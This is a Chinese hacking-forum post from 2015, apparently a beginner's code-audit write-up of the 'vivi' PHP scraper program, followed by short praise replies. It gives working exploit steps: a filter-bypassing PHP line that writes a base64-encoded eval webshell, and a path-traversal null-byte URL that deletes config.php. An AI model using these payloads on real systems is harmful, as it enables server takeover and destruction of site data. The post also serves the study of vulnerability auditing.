王珂 发表于 2015-3-18 22:09:02

代码审计小试:vivi万能小偷程序

本帖最后由 王珂 于 2015-3-18 22:13 编辑

刚开始学代码审计,也算个记载吧
===========================
作者:iceforce
论坛:www.cnhonker.com
博客:www.isbug.net
===========================

程序下载地址:http://down.chinaz.com/soft/34668.htm

在此程序中由于不牵涉到SQL数据库,所以不存在SQL注入的问题,但是存在任意删除,以及直接getshell的问题

首先是getshell的问题

程序代码位于:admin/replace.php第46-56行

}elseif ($id=='save'){
$con=get_magic(trim($_POST['keyword']));
if(@preg_match("/require|include|REQUEST|eval|system|fputs/i", $con)){
ShowMsg("���зǷ��ַ�,����������",'-1',2000);
}else{
write($file,$con);
ShowMsg("��ϲ��,�޸ijɹ���",'replace.php',2000);
}
}
?>
可以看到程序对于提交过来的keyword只过滤的require|include|REQUEST|eval|system|fputs这几个关键词,常见的函数过滤了,但是可以写入一个文件
登录之后在http://127.0.0.1/code/1/admin/replace.php页面写入

<?php fwrite(fopen('./1.php', 'w'),base64_decode('PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg='));?>

然后访问http://127.0.0.1/code/1/data/keyword.php就会在data目录下生成1.php的小马

任意删除文件
漏洞位于admin/caiji_config.php文件里面第10行-16行
$id=isset($_GET ['id'])?$_GET ['id']:'';
$ac=isset($_GET ['ac'])?$_GET ['ac']:'';
if($ac == 'del') {
$file=VV_DATA.'/config/'.$id.'.php';
print($file);
if(@unlink($file)) ShowMsg("��ϲ��,ɾ���ɹ���",'caiji_config.php',2000);
}
可以看到对id并没有进行有效的过滤
访问

http://127.0.0.1/code/1/admin/caiji_config.php?ac=del&id=../config.php%00

即可删除data目录下的config.php文件

ICBM 发表于 2015-3-18 23:57:12

一样在学审计的路过帮顶

koujiaodashu 发表于 2015-3-19 15:11:04

支持一下,代码敲得不错

08-wh 发表于 2015-6-28 08:49:03

感谢楼主的分享~

yusiii 发表于 2015-6-30 05:10:39

学习学习技术,加油!

菜鸟小羽 发表于 2015-6-30 16:39:04

还是不错的哦,顶了

a136 发表于 2015-6-30 20:00:55

感谢楼主的分享~

asion 发表于 2015-6-30 20:46:26

wtsqq123 发表于 2015-7-1 07:50:50

支持中国红客联盟(ihonker.org)

cl476874045 发表于 2015-7-3 03:28:02

支持,看起来不错呢!
页: [1]
查看完整版本: 代码审计小试:vivi万能小偷程序